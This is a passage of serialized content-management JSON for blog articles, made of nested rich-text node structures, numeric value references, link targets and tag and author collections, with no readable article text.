926,"nodeType":4581},{},[38927,38937],{"data":38928,"content":38929,"nodeType":4569},{},[38930],{"data":38931,"content":38932,"nodeType":860},{},[38933],{"data":38934,"marks":38935,"value":29517,"nodeType":864},{},[38936],{"type":899},{"data":38938,"content":38939,"nodeType":4569},{},[38940],{"data":38941,"content":38942,"nodeType":860},{},[38943],{"data":38944,"marks":38945,"value":30979,"nodeType":864},{},[],{"data":38947,"content":38950,"nodeType":996},{"target":38948},{"sys":38949},{"id":7719,"type":1001,"linkType":1002},[],{"data":38952,"content":38953,"nodeType":1005},{},[],{"data":38955,"content":38956,"nodeType":1312},{},[38957],{"data":38958,"marks":38959,"value":30995,"nodeType":864},{},[38960],{"type":899},{"data":38962,"content":38963,"nodeType":4845},{},[38964,38986,39022,39044,39066],{"data":38965,"content":38966,"nodeType":4581},{},[38967,38977],{"data":38968,"content":38969,"nodeType":4569},{},[38970],{"data":38971,"content":38972,"nodeType":860},{},[38973],{"data":38974,"marks":38975,"value":29135,"nodeType":864},{},[38976],{"type":899},{"data":38978,"content":38979,"nodeType":4569},{},[38980],{"data":38981,"content":38982,"nodeType":860},{},[38983],{"data":38984,"marks":38985,"value":31021,"nodeType":864},{},[],{"data":38987,"content":38988,"nodeType":4581},{},[38989,38999],{"data":38990,"content":38991,"nodeType":4569},{},[38992],{"data":38993,"content":38994,"nodeType":860},{},[38995],{"data":38996,"marks":38997,"value":29159,"nodeType":864},{},[38998],{"type":899},{"data":39000,"content":39001,"nodeType":4569},{},[39002,39012],{"data":39003,"content":39004,"nodeType":860},{},[39005,39009],{"data":39006,"marks":39007,"value":29634,"nodeType":864},{},[39008],{"type":899},{"data":39010,"marks":39011,"value":31048,"nodeType":864},{},[],{"data":39013,"content":39014,"nodeType":860},{},[39015,39019],{"data":39016,"marks":39017,"value":29200,"nodeType":864},{},[39018],{"type":899},{"data":39020,"marks":39021,"value":31059,"nodeType":864},{},[],{"data":39023,"content":39024,"nodeType":4581},{},[39025,39035],{"data":39026,"content":39027,"nodeType":4569},{},[39028],{"data":39029,"content":39030,"nodeType":860},{},[39031],{"data":39032,"marks":39033,"value":29242,"nodeType":864},{},[39034],{"type":899},{"data":39036,"content":39037,"nodeType":4569},{},[39038],{"data":39039,"content":39040,"nodeType":860},{},[39041],{"data":39042,"marks":39043,"value":30933,"nodeType":864},{},[],{"data":39045,"content":39046,"nodeType":4581},{},[39047,39057],{"data":39048,"content":39049,"nodeType":4569},{},[39050],{"data":39051,"content":39052,"nodeType":860},{},[39053],{"data":39054,"marks":39055,"value":29294,"nodeType":864},{},[39056],{"type":899},{"data":39058,"content":39059,"nodeType":4569},{},[39060],{"data":39061,"content":39062,"nodeType":860},{},[39063],{"data":39064,"marks":39065,"value":31104,"nodeType":864},{},[],{"data":39067,"content":39068,"nodeType":4581},{},[39069,39079],{"data":39070,"content":39071,"nodeType":4569},{},[39072],{"data":39073,"content":39074,"nodeType":860},{},[39075],{"data":39076,"marks":39077,"value":29517,"nodeType":864},{},[39078],{"type":899},{"data":39080,"content":39081,"nodeType":4569},{},[39082],{"data":39083,"content":39084,"nodeType":860},{},[39085],{"data":39086,"marks":39087,"value":31127,"nodeType":864},{},[],{"data":39089,"content":39092,"nodeType":996},{"target":39090},{"sys":39091},{"id":31132,"type":1001,"linkType":1002},[],{"data":39094,"content":39095,"nodeType":1005},{},[],{"data":39097,"content":39098,"nodeType":1009},{},[39099],{"data":39100,"marks":39101,"value":31144,"nodeType":864},{},[39102],{"type":899},{"data":39104,"content":39105,"nodeType":860},{},[39106,39109],{"data":39107,"marks":39108,"value":31151,"nodeType":864},{},[],{"data":39110,"marks":39111,"value":31156,"nodeType":864},{},[39112],{"type":899},{"data":39114,"content":39115,"nodeType":860},{},[39116],{"data":39117,"marks":39118,"value":31163,"nodeType":864},{},[],{"data":39120,"content":39123,"nodeType":996},{"target":39121},{"sys":39122},{"id":31168,"type":1001,"linkType":1002},[],{"data":39125,"content":39128,"nodeType":996},{"target":39126},{"sys":39127},{"id":31174,"type":1001,"linkType":1002},[],{"data":39130,"content":39131,"nodeType":860},{},[39132],{"data":39133,"marks":39134,"value":31182,"nodeType":864},{},[],{"data":39136,"content":39137,"nodeType":860},{},[39138,39141,39145,39148],{"data":39139,"marks":39140,"value":31189,"nodeType":864},{},[],{"data":39142,"marks":39143,"value":31194,"nodeType":864},{},[39144],{"type":899},{"data":39146,"marks":39147,"value":31198,"nodeType":864},{},[],{"data":39149,"marks":39150,"value":31203,"nodeType":864},{},[39151],{"type":899},{"data":39153,"content":39154,"nodeType":860},{},[39155,39158,39162],{"data":39156,"marks":39157,"value":31210,"nodeType":864},{},[],{"data":39159,"marks":39160,"value":31215,"nodeType":864},{},[39161],{"type":899},{"data":39163,"marks":39164,"value":31219,"nodeType":864},{},[],{"data":39166,"content":39169,"nodeType":996},{"target":39167},{"sys":39168},{"id":31224,"type":1001,"linkType":1002},[],{"data":39171,"content":39172,"nodeType":1005},{},[],{"data":39174,"content":39175,"nodeType":1009},{},[39176],{"data":39177,"marks":39178,"value":31236,"nodeType":864},{},[39179],{"type":899},{"data":39181,"content":39182,"nodeType":1312},{},[39183],{"data":39184,"marks":39185,"value":31244,"nodeType":864},{},[39186],{"type":899},{"data":39188,"content":39189,"nodeType":860},{},[39190,39193,39197,39200],{"data":39191,"marks":39192,"value":31251,"nodeType":864},{},[],{"data":39194,"marks":39195,"value":31256,"nodeType":864},{},[39196],{"type":899},{"data":39198,"marks":39199,"value":31260,"nodeType":864},{},[],{"data":39201,"marks":39202,"value":31265,"nodeType":864},{},[39203],{"type":899},{"data":39205,"content":39206,"nodeType":860},{},[39207,39211,39214,39218],{"data":39208,"marks":39209,"value":31273,"nodeType":864},{},[39210],{"type":899},{"data":39212,"marks":39213,"value":31277,"nodeType":864},{},[],{"data":39215,"marks":39216,"value":31282,"nodeType":864},{},[39217],{"type":899},{"data":39219,"marks":39220,"value":31286,"nodeType":864},{},[],{"data":39222,"content":39225,"nodeType":996},{"target":39223},{"sys":39224},{"id":30220,"type":1001,"linkType":1002},[],{"data":39227,"content":39228,"nodeType":860},{},[39229],{"data":39230,"marks":39231,"value":31298,"nodeType":864},{},[],{"data":39233,"content":39234,"nodeType":860},{},[39235],{"data":39236,"marks":39237,"value":31305,"nodeType":864},{},[],{"data":39239,"content":39240,"nodeType":1312},{},[39241],{"data":39242,"marks":39243,"value":31313,"nodeType":864},{},[39244],{"type":899},{"data":39246,"content":39247,"nodeType":860},{},[39248],{"data":39249,"marks":39250,"value":31320,"nodeType":864},{},[],{"data":39252,"content":39253,"nodeType":860},{},[39254],{"data":39255,"marks":39256,"value":31327,"nodeType":864},{},[],{"data":39258,"content":39259,"nodeType":860},{},[39260],{"data":39261,"marks":39262,"value":31334,"nodeType":864},{},[],{"data":39264,"content":39265,"nodeType":1312},{},[39266],{"data":39267,"marks":39268,"value":31342,"nodeType":864},{},[39269],{"type":899},{"data":39271,"content":39272,"nodeType":860},{},[39273],{"data":39274,"marks":39275,"value":31349,"nodeType":864},{},[],{"data":39277,"content":39278,"nodeType":941},{},[39279,39292,39305],{"data":39280,"content":39281,"nodeType":945},{},[39282],{"data":39283,"content":39284,"nodeType":860},{},[39285,39289],{"data":39286,"marks":39287,"value":31363,"nodeType":864},{},[39288],{"type":899},{"data":39290,"marks":39291,"value":31367,"nodeType":864},{},[],{"data":39293,"content":39294,"nodeType":945},{},[39295],{"data":39296,"content":39297,"nodeType":860},{},[39298,39302],{"data":39299,"marks":39300,"value":28841,"nodeType":864},{},[39301],{"type":899},{"data":39303,"marks":39304,"value":31381,"nodeType":864},{},[],{"data":39306,"content":39307,"nodeType":945},{},[39308],{"data":39309,"content":39310,"nodeType":860},{},[39311,39314,39318],{"data":39312,"marks":39313,"value":31391,"nodeType":864},{},[],{"data":39315,"marks":39316,"value":6423,"nodeType":864},{},[39317],{"type":899},{"data":39319,"marks":39320,"value":31399,"nodeType":864},{},[],{"data":39322,"content":39325,"nodeType":996},{"target":39323},{"sys":39324},{"id":31404,"type":1001,"linkType":1002},[],{"data":39327,"content":39328,"nodeType":1005},{},[],{"data":39330,"content":39331,"nodeType":1009},{},[39332],{"data":39333,"marks":39334,"value":31416,"nodeType":864},{},[39335],{"type":899},{"data":39337,"content":39338,"nodeType":860},{},[39339],{"data":39340,"marks":39341,"value":31423,"nodeType":864},{},[],{"data":39343,"content":39344,"nodeType":860},{},[39345],{"data":39346,"marks":39347,"value":31430,"nodeType":864},{},[],{"data":39349,"content":39350,"nodeType":860},{},[39351,39354,39361,39364,39368,39371,39375,39378,39382],{"data":39352,"marks":39353,"value":31437,"nodeType":864},{},[],{"data":39355,"content":39356,"nodeType":883},{"uri":31440},[39357],{"data":39358,"marks":39359,"value":31446,"nodeType":864},{},[39360],{"type":1455},{"data":39362,"marks":39363,"value":31450,"nodeType":864},{},[],{"data":39365,"marks":39366,"value":31455,"nodeType":864},{},[39367],{"type":899},{"data":39369,"marks":39370,"value":31459,"nodeType":864},{},[],{"data":39372,"marks":39373,"value":31464,"nodeType":864},{},[39374],{"type":899},{"data":39376,"marks":39377,"value":31468,"nodeType":864},{},[],{"data":39379,"marks":39380,"value":31473,"nodeType":864},{},[39381],{"type":899},{"data":39383,"marks":39384,"value":31477,"nodeType":864},{},[],{"data":39386,"content":39389,"nodeType":996},{"target":39387},{"sys":39388},{"id":31482,"type":1001,"linkType":1002},[],{"data":39391,"content":39392,"nodeType":860},{},[39393],{"data":39394,"marks":39395,"value":31490,"nodeType":864},{},[],{"data":39397,"content":39398,"nodeType":1005},{},[],{"data":39400,"content":39401,"nodeType":1009},{},[39402],{"data":39403,"marks":39404,"value":31501,"nodeType":864},{},[39405],{"type":899},{"data":39407,"content":39408,"nodeType":860},{},[39409],{"data":39410,"marks":39411,"value":31508,"nodeType":864},{},[],{"data":39413,"content":39414,"nodeType":860},{},[39415],{"data":39416,"marks":39417,"value":31515,"nodeType":864},{},[],{"data":39419,"content":39420,"nodeType":860},{},[39421,39424,39431],{"data":39422,"marks":39423,"value":31522,"nodeType":864},{},[],{"data":39425,"content":39426,"nodeType":883},{"uri":31525},[39427],{"data":39428,"marks":39429,"value":31531,"nodeType":864},{},[39430],{"type":1455},{"data":39432,"marks":39433,"value":31535,"nodeType":864},{},[],{"data":39435,"content":39438,"nodeType":996},{"target":39436},{"sys":39437},{"id":31540,"type":1001,"linkType":1002},[],{"data":39440,"content":39441,"nodeType":860},{},[39442],{"data":39443,"marks":39444,"value":31548,"nodeType":864},{},[],{"data":39446,"content":39447,"nodeType":1312},{},[39448],{"data":39449,"marks":39450,"value":3578,"nodeType":864},{},[39451],{"type":899},{"data":39453,"content":39454,"nodeType":860},{},[39455],{"data":39456,"marks":39457,"value":31562,"nodeType":864},{},[],{"data":39459,"content":39460,"nodeType":860},{},[39461,39464,39471,39474,39481,39484,39491],{"data":39462,"marks":39463,"value":31569,"nodeType":864},{},[],{"data":39465,"content":39466,"nodeType":883},{"uri":25603},[39467],{"data":39468,"marks":39469,"value":25609,"nodeType":864},{},[39470],{"type":1455},{"data":39472,"marks":39473,"value":3731,"nodeType":864},{},[],{"data":39475,"content":39476,"nodeType":883},{"uri":25615},[39477],{"data":39478,"marks":39479,"value":31587,"nodeType":864},{},[39480],{"type":1455},{"data":39482,"marks":39483,"value":25625,"nodeType":864},{},[],{"data":39485,"content":39486,"nodeType":883},{"uri":1700},[39487],{"data":39488,"marks":39489,"value":25633,"nodeType":864},{},[39490],{"type":1455},{"data":39492,"marks":39493,"value":2924,"nodeType":864},{},[],{"items":39495},[39496,39498],{"sys":39497,"name":6593},{"id":6592},{"sys":39499,"name":342},{"id":6596},{"items":39501},[39502],{"fullName":4949,"firstName":4950,"jobTitle":4951,"profilePicture":39503},{"url":4955},{"__typename":2059,"sys":39505,"content":39506,"title":6584,"synopsis":6585,"hashTags":59,"publishedDate":6586,"slug":6587,"tagsCollection":40215,"authorsCollection":40221},{"id":5746},{"json":39507},{"data":39508,"content":39509,"nodeType":856},{},[39510,39525,39540,39555,39560,39563,39570,39576,39582,39588,39594,39601,39604,39611,39617,39623,39629,39634,39641,39656,39662,39668,39681,39688,39712,39725,39731,39755,39762,39786,39792,39799,39814,39820,39826,39831,39837,39844,39859,39865,39881,39887,39890,39897,39903,39978,39984,39997,40000,40025,40040,40046,40052,40055,40062,40077,40083,40089,40104,40107,40114,40120,40150,40156,40171,40186,40191,40194,40200],{"data":39511,"content":39512,"nodeType":860},{},[39513,39516,39522],{"data":39514,"marks":39515,"value":5757,"nodeType":864},{},[],{"data":39517,"content":39518,"nodeType":883},{"uri":5760},[39519],{"data":39520,"marks":39521,"value":5765,"nodeType":864},{},[],{"data":39523,"marks":39524,"value":5769,"nodeType":864},{},[],{"data":39526,"content":39527,"nodeType":860},{},[39528,39531,39537],{"data":39529,"marks":39530,"value":5776,"nodeType":864},{},[],{"data":39532,"content":39533,"nodeType":883},{"uri":5779},[39534],{"data":39535,"marks":39536,"value":5784,"nodeType":864},{},[],{"data":39538,"marks":39539,"value":5788,"nodeType":864},{},[],{"data":39541,"content":39542,"nodeType":860},{},[39543,39546,39552],{"data":39544,"marks":39545,"value":5795,"nodeType":864},{},[],{"data":39547,"content":39548,"nodeType":883},{"uri":5243},[39549],{"data":39550,"marks":39551,"value":5248,"nodeType":864},{},[],{"data":39553,"marks":39554,"value":5805,"nodeType":864},{},[],{"data":39556,"content":39559,"nodeType":996},{"target":39557},{"sys":39558},{"id":5810,"type":1001,"linkType":1002},[],{"data":39561,"content":39562,"nodeType":1005},{},[],{"data":39564,"content":39565,"nodeType":1009},{},[39566],{"data":39567,"marks":39568,"value":5822,"nodeType":864},{},[39569],{"type":899},{"data":39571,"content":39572,"nodeType":860},{},[39573],{"data":39574,"marks":39575,"value":5829,"nodeType":864},{},[],{"data":39577,"content":39578,"nodeType":860},{},[39579],{"data":39580,"marks":39581,"value":5836,"nodeType":864},{},[],{"data":39583,"content":39584,"nodeType":860},{},[39585],{"data":39586,"marks":39587,"value":5843,"nodeType":864},{},[],{"data":39589,"content":39590,"nodeType":860},{},[39591],{"data":39592,"marks":39593,"value":5850,"nodeType":864},{},[],{"data":39595,"content":39596,"nodeType":860},{},[39597],{"data":39598,"marks":39599,"value":5858,"nodeType":864},{},[39600],{"type":899},{"data":39602,"content":39603,"nodeType":1005},{},[],{"data":39605,"content":39606,"nodeType":1009},{},[39607],{"data":39608,"marks":39609,"value":5869,"nodeType":864},{},[39610],{"type":899},{"data":39612,"content":39613,"nodeType":860},{},[39614],{"data":39615,"marks":39616,"value":5876,"nodeType":864},{},[],{"data":39618,"content":39619,"nodeType":860},{},[39620],{"data":39621,"marks":39622,"value":5883,"nodeType":864},{},[],{"data":39624,"content":39625,"nodeType":860},{},[39626],{"data":39627,"marks":39628,"value":5890,"nodeType":864},{},[],{"data":39630,"content":39633,"nodeType":996},{"target":39631},{"sys":39632},{"id":5895,"type":1001,"linkType":1002},[],{"data":39635,"content":39636,"nodeType":1312},{},[39637],{"data":39638,"marks":39639,"value":5904,"nodeType":864},{},[39640],{"type":899},{"data":39642,"content":39643,"nodeType":860},{},[39644,39647,39653],{"data":39645,"marks":39646,"value":5911,"nodeType":864},{},[],{"data":39648,"content":39649,"nodeType":883},{"uri":5914},[39650],{"data":39651,"marks":39652,"value":5919,"nodeType":864},{},[],{"data":39654,"marks":39655,"value":5923,"nodeType":864},{},[],{"data":39657,"content":39658,"nodeType":860},{},[39659],{"data":39660,"marks":39661,"value":5930,"nodeType":864},{},[],{"data":39663,"content":39664,"nodeType":860},{},[39665],{"data":39666,"marks":39667,"value":5937,"nodeType":864},{},[],{"data":39669,"content":39670,"nodeType":860},{},[39671,39674,39678],{"data":39672,"marks":39673,"value":5944,"nodeType":864},{},[],{"data":39675,"marks":39676,"value":5949,"nodeType":864},{},[39677],{"type":899},{"data":39679,"marks":39680,"value":5953,"nodeType":864},{},[],{"data":39682,"content":39683,"nodeType":1312},{},[39684],{"data":39685,"marks":39686,"value":5961,"nodeType":864},{},[39687],{"type":899},{"data":39689,"content":39690,"nodeType":860},{},[39691,39694,39700,39703,39709],{"data":39692,"marks":39693,"value":5968,"nodeType":864},{},[],{"data":39695,"content":39696,"nodeType":883},{"uri":5971},[39697],{"data":39698,"marks":39699,"value":5976,"nodeType":864},{},[],{"data":39701,"marks":39702,"value":5980,"nodeType":864},{},[],{"data":39704,"content":39705,"nodeType":883},{"uri":3237},[39706],{"data":39707,"marks":39708,"value":5987,"nodeType":864},{},[],{"data":39710,"marks":39711,"value":5991,"nodeType":864},{},[],{"data":39713,"content":39714,"nodeType":860},{},[39715,39718,39722],{"data":39716,"marks":39717,"value":5998,"nodeType":864},{},[],{"data":39719,"marks":39720,"value":6003,"nodeType":864},{},[39721],{"type":899},{"data":39723,"marks":39724,"value":6007,"nodeType":864},{},[],{"data":39726,"content":39727,"nodeType":860},{},[39728],{"data":39729,"marks":39730,"value":6014,"nodeType":864},{},[],{"data":39732,"content":39733,"nodeType":860},{},[39734,39737,39743,39746,39752],{"data":39735,"marks":39736,"value":6021,"nodeType":864},{},[],{"data":39738,"content":39739,"nodeType":883},{"uri":6024},[39740],{"data":39741,"marks":39742,"value":6029,"nodeType":864},{},[],{"data":39744,"marks":39745,"value":6033,"nodeType":864},{},[],{"data":39747,"content":39748,"nodeType":883},{"uri":6036},[39749],{"data":39750,"marks":39751,"value":6041,"nodeType":864},{},[],{"data":39753,"marks":39754,"value":6045,"nodeType":864},{},[],{"data":39756,"content":39757,"nodeType":1312},{},[39758],{"data":39759,"marks":39760,"value":6053,"nodeType":864},{},[39761],{"type":899},{"data":39763,"content":39764,"nodeType":860},{},[39765,39768,39774,39777,39783],{"data":39766,"marks":39767,"value":6060,"nodeType":864},{},[],{"data":39769,"content":39770,"nodeType":883},{"uri":6063},[39771],{"data":39772,"marks":39773,"value":6068,"nodeType":864},{},[],{"data":39775,"marks":39776,"value":6072,"nodeType":864},{},[],{"data":39778,"content":39779,"nodeType":883},{"uri":6075},[39780],{"data":39781,"marks":39782,"value":6080,"nodeType":864},{},[],{"data":39784,"marks":39785,"value":6084,"nodeType":864},{},[],{"data":39787,"content":39788,"nodeType":860},{},[39789],{"data":39790,"marks":39791,"value":6091,"nodeType":864},{},[],{"data":39793,"content":39794,"nodeType":1312},{},[39795],{"data":39796,"marks":39797,"value":6099,"nodeType":864},{},[39798],{"type":899},{"data":39800,"content":39801,"nodeType":860},{},[39802,39805,39811],{"data":39803,"marks":39804,"value":6106,"nodeType":864},{},[],{"data":39806,"content":39807,"nodeType":883},{"uri":3259},[39808],{"data":39809,"marks":39810,"value":6113,"nodeType":864},{},[],{"data":39812,"marks":39813,"value":6117,"nodeType":864},{},[],{"data":39815,"content":39816,"nodeType":860},{},[39817],{"data":39818,"marks":39819,"value":6124,"nodeType":864},{},[],{"data":39821,"content":39822,"nodeType":860},{},[39823],{"data":39824,"marks":39825,"value":6131,"nodeType":864},{},[],{"data":39827,"content":39830,"nodeType":996},{"target":39828},{"sys":39829},{"id":6136,"type":1001,"linkType":1002},[],{"data":39832,"content":39833,"nodeType":860},{},[39834],{"data":39835,"marks":39836,"value":6144,"nodeType":864},{},[],{"data":39838,"content":39839,"nodeType":1312},{},[39840],{"data":39841,"marks":39842,"value":6152,"nodeType":864},{},[39843],{"type":899},{"data":39845,"content":39846,"nodeType":860},{},[39847,39850,39856],{"data":39848,"marks":39849,"value":6159,"nodeType":864},{},[],{"data":39851,"content":39852,"nodeType":883},{"uri":2411},[39853],{"data":39854,"marks":39855,"value":6166,"nodeType":864},{},[],{"data":39857,"marks":39858,"value":6170,"nodeType":864},{},[],{"data":39860,"content":39861,"nodeType":860},{},[39862],{"data":39863,"marks":39864,"value":6177,"nodeType":864},{},[],{"data":39866,"content":39867,"nodeType":860},{},[39868,39871,39878],{"data":39869,"marks":39870,"value":6184,"nodeType":864},{},[],{"data":39872,"content":39873,"nodeType":883},{"uri":2411},[39874],{"data":39875,"marks":39876,"value":6192,"nodeType":864},{},[39877],{"type":1455},{"data":39879,"marks":39880,"value":6196,"nodeType":864},{},[],{"data":39882,"content":39883,"nodeType":860},{},[39884],{"data":39885,"marks":39886,"value":6203,"nodeType":864},{},[],{"data":39888,"content":39889,"nodeType":1005},{},[],{"data":39891,"content":39892,"nodeType":1009},{},[39893],{"data":39894,"marks":39895,"value":6214,"nodeType":864},{},[39896],{"type":899},{"data":39898,"content":39899,"nodeType":860},{},[39900],{"data":39901,"marks":39902,"value":6221,"nodeType":864},{},[],{"data":39904,"content":39905,"nodeType":941},{},[39906,39924,39942,39960],{"data":39907,"content":39908,"nodeType":945},{},[39909],{"data":39910,"content":39911,"nodeType":860},{},[39912,39915,39921],{"data":39913,"marks":39914,"value":6234,"nodeType":864},{},[],{"data":39916,"content":39917,"nodeType":883},{"uri":6237},[39918],{"data":39919,"marks":39920,"value":6242,"nodeType":864},{},[],{"data":39922,"marks":39923,"value":6246,"nodeType":864},{},[],{"data":39925,"content":39926,"nodeType":945},{},[39927],{"data":39928,"content":39929,"nodeType":860},{},[39930,39933,39939],{"data":39931,"marks":39932,"value":6256,"nodeType":864},{},[],{"data":39934,"content":39935,"nodeType":883},{"uri":6259},[39936],{"data":39937,"marks":39938,"value":6264,"nodeType":864},{},[],{"data":39940,"marks":39941,"value":6268,"nodeType":864},{},[],{"data":39943,"content":39944,"nodeType":945},{},[39945],{"data":39946,"content":39947,"nodeType":860},{},[39948,39951,39957],{"data":39949,"marks":39950,"value":6234,"nodeType":864},{},[],{"data":39952,"content":39953,"nodeType":883},{"uri":6036},[39954],{"data":39955,"marks":39956,"value":6284,"nodeType":864},{},[],{"data":39958,"marks":39959,"value":6288,"nodeType":864},{},[],{"data":39961,"content":39962,"nodeType":945},{},[39963],{"data":39964,"content":39965,"nodeType":860},{},[39966,39969,39975],{"data":39967,"marks":39968,"value":2761,"nodeType":864},{},[],{"data":39970,"content":39971,"nodeType":883},{"uri":6300},[39972],{"data":39973,"marks":39974,"value":3756,"nodeType":864},{},[],{"data":39976,"marks":39977,"value":6308,"nodeType":864},{},[],{"data":39979,"content":39980,"nodeType":860},{},[39981],{"data":39982,"marks":39983,"value":6315,"nodeType":864},{},[],{"data":39985,"content":39986,"nodeType":860},{},[39987,39990,39994],{"data":39988,"marks":39989,"value":6322,"nodeType":864},{},[],{"data":39991,"marks":39992,"value":6327,"nodeType":864},{},[39993],{"type":899},{"data":39995,"marks":39996,"value":6331,"nodeType":864},{},[],{"data":39998,"content":39999,"nodeType":1005},{},[],{"data":40001,"content":40002,"nodeType":1009},{},[40003,40007,40012,40016,40021],{"data":40004,"marks":40005,"value":6342,"nodeType":864},{},[40006],{"type":899},{"data":40008,"marks":40009,"value":6348,"nodeType":864},{},[40010,40011],{"type":2246},{"type":899},{"data":40013,"marks":40014,"value":6353,"nodeType":864},{},[40015],{"type":899},{"data":40017,"marks":40018,"value":6359,"nodeType":864},{},[40019,40020],{"type":2246},{"type":899},{"data":40022,"marks":40023,"value":6364,"nodeType":864},{},[40024],{"type":899},{"data":40026,"content":40027,"nodeType":860},{},[40028,40031,40037],{"data":40029,"marks":40030,"value":6371,"nodeType":864},{},[],{"data":40032,"content":40033,"nodeType":883},{"uri":6374},[40034],{"data":40035,"marks":40036,"value":6379,"nodeType":864},{},[],{"data":40038,"marks":40039,"value":6383,"nodeType":864},{},[],{"data":40041,"content":40042,"nodeType":860},{},[40043],{"data":40044,"marks":40045,"value":6390,"nodeType":864},{},[],{"data":40047,"content":40048,"nodeType":860},{},[40049],{"data":40050,"marks":40051,"value":6397,"nodeType":864},{},[],{"data":40053,"content":40054,"nodeType":1005},{},[],{"data":40056,"content":40057,"nodeType":1009},{},[40058],{"data":40059,"marks":40060,"value":6408,"nodeType":864},{},[40061],{"type":899},{"data":40063,"content":40064,"nodeType":860},{},[40065,40068,40074],{"data":40066,"marks":40067,"value":6415,"nodeType":864},{},[],{"data":40069,"content":40070,"nodeType":883},{"uri":6418},[40071],{"data":40072,"marks":40073,"value":6423,"nodeType":864},{},[],{"data":40075,"marks":40076,"value":6427,"nodeType":864},{},[],{"data":40078,"content":40079,"nodeType":860},{},[40080],{"data":40081,"marks":40082,"value":6434,"nodeType":864},{},[],{"data":40084,"content":40085,"nodeType":860},{},[40086],{"data":40087,"marks":40088,"value":6441,"nodeType":864},{},[],{"data":40090,"content":40091,"nodeType":860},{},[40092,40095,40101],{"data":40093,"marks":40094,"value":6448,"nodeType":864},{},[],{"data":40096,"content":40097,"nodeType":883},{"uri":6451},[40098],{"data":40099,"marks":40100,"value":6423,"nodeType":864},{},[],{"data":40102,"marks":40103,"value":2924,"nodeType":864},{},[],{"data":40105,"content":40106,"nodeType":1005},{},[],{"data":40108,"content":40109,"nodeType":1009},{},[40110],{"data":40111,"marks":40112,"value":6469,"nodeType":864},{},[40113],{"type":899},{"data":40115,"content":40116,"nodeType":860},{},[40117],{"data":40118,"marks":40119,"value":6476,"nodeType":864},{},[],{"data":40121,"content":40122,"nodeType":941},{},[40123,40132,40141],{"data":40124,"content":40125,"nodeType":945},{},[40126],{"data":40127,"content":40128,"nodeType":860},{},[40129],{"data":40130,"marks":40131,"value":6489,"nodeType":864},{},[],{"data":40133,"content":40134,"nodeType":945},{},[40135],{"data":40136,"content":40137,"nodeType":860},{},[40138],{"data":40139,"marks":40140,"value":6499,"nodeType":864},{},[],{"data":40142,"content":40143,"nodeType":945},{},[40144],{"data":40145,"content":40146,"nodeType":860},{},[40147],{"data":40148,"marks":40149,"value":6509,"nodeType":864},{},[],{"data":40151,"content":40152,"nodeType":860},{},[40153],{"data":40154,"marks":40155,"value":6516,"nodeType":864},{},[],{"data":40157,"content":40158,"nodeType":860},{},[40159,40162,40168],{"data":40160,"marks":40161,"value":6523,"nodeType":864},{},[],{"data":40163,"content":40164,"nodeType":883},{"uri":5243},[40165],{"data":40166,"marks":40167,"value":6530,"nodeType":864},{},[],{"data":40169,"marks":40170,"value":2924,"nodeType":864},{},[],{"data":40172,"content":40173,"nodeType":860},{},[40174,40177,40183],{"data":40175,"marks":40176,"value":6540,"nodeType":864},{},[],{"data":40178,"content":40179,"nodeType":883},{"uri":6543},[40180],{"data":40181,"marks":40182,"value":6548,"nodeType":864},{},[],{"data":40184,"marks":40185,"value":6552,"nodeType":864},{},[],{"data":40187,"content":40190,"nodeType":996},{"target":40188},{"sys":40189},{"id":6557,"type":1001,"linkType":1002},[],{"data":40192,"content":40193,"nodeType":1005},{},[],{"data":40195,"content":40196,"nodeType":860},{},[40197],{"data":40198,"marks":40199,"value":6568,"nodeType":864},{},[],{"data":40201,"content":40202,"nodeType":860},{},[40203,40206,40212],{"data":40204,"marks":40205,"value":2707,"nodeType":864},{},[],{"data":40207,"content":40208,"nodeType":883},{"uri":1700},[40209],{"data":40210,"marks":40211,"value":2715,"nodeType":864},{},[],{"data":40213,"marks":40214,"value":2719,"nodeType":864},{},[],{"items":40216},[40217,40219],{"sys":40218,"name":6593},{"id":6592},{"sys":40220,"name":342},{"id":6596},{"items":40222},[40223],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":40224},{"url":2740},{"__typename":2059,"sys":40226,"content":40227,"title":35658,"synopsis":35659,"hashTags":59,"publishedDate":6586,"slug":35660,"tagsCollection":41048,"authorsCollection":41054},{"id":34695},{"json":40228},{"data":40229,"content":40230,"nodeType":856},{},[40231,40253,40277,40310,40343,40348,40358,40361,40368,40410,40416,40435,40440,40443,40450,40474,40480,40487,40492,40495,40502,40508,40523,40529,40562,40568,40571,40578,40593,40635,40638,40645,40660,40675,40682,40688,40698,40708,40718,40728,40743,40750,40756,40759,40765,40771,40786,40789,40796,40811,41042],{"data":40232,"content":40233,"nodeType":860},{},[40234,40237,40243,40246,40250],{"data":40235,"marks":40236,"value":34706,"nodeType":864},{},[],{"data":40238,"content":40239,"nodeType":883},{"uri":6237},[40240],{"data":40241,"marks":40242,"value":6242,"nodeType":864},{},[],{"data":40244,"marks":40245,"value":34716,"nodeType":864},{},[],{"data":40247,"marks":40248,"value":34721,"nodeType":864},{},[40249],{"type":899},{"data":40251,"marks":40252,"value":34725,"nodeType":864},{},[],{"data":40254,"content":40255,"nodeType":860},{},[40256,40259,40265,40268,40274],{"data":40257,"marks":40258,"value":34732,"nodeType":864},{},[],{"data":40260,"content":40261,"nodeType":883},{"uri":34735},[40262],{"data":40263,"marks":40264,"value":34740,"nodeType":864},{},[],{"data":40266,"marks":40267,"value":34744,"nodeType":864},{},[],{"data":40269,"content":40270,"nodeType":883},{"uri":34747},[40271],{"data":40272,"marks":40273,"value":34752,"nodeType":864},{},[],{"data":40275,"marks":40276,"value":34756,"nodeType":864},{},[],{"data":40278,"content":40279,"nodeType":860},{},[40280,40283,40289,40292,40298,40301,40307],{"data":40281,"marks":40282,"value":34763,"nodeType":864},{},[],{"data":40284,"content":40285,"nodeType":883},{"uri":34766},[40286],{"data":40287,"marks":40288,"value":34771,"nodeType":864},{},[],{"data":40290,"marks":40291,"value":34775,"nodeType":864},{},[],{"data":40293,"content":40294,"nodeType":883},{"uri":34778},[40295],{"data":40296,"marks":40297,"value":34783,"nodeType":864},{},[],{"data":40299,"marks":40300,"value":34787,"nodeType":864},{},[],{"data":40302,"content":40303,"nodeType":883},{"uri":34790},[40304],{"data":40305,"marks":40306,"value":34795,"nodeType":864},{},[],{"data":40308,"marks":40309,"value":34799,"nodeType":864},{},[],{"data":40311,"content":40312,"nodeType":860},{},[40313,40316,40322,40325,40331,40334,40340],{"data":40314,"marks":40315,"value":34806,"nodeType":864},{},[],{"data":40317,"content":40318,"nodeType":883},{"uri":34809},[40319],{"data":40320,"marks":40321,"value":34814,"nodeType":864},{},[],{"data":40323,"marks":40324,"value":34818,"nodeType":864},{},[],{"data":40326,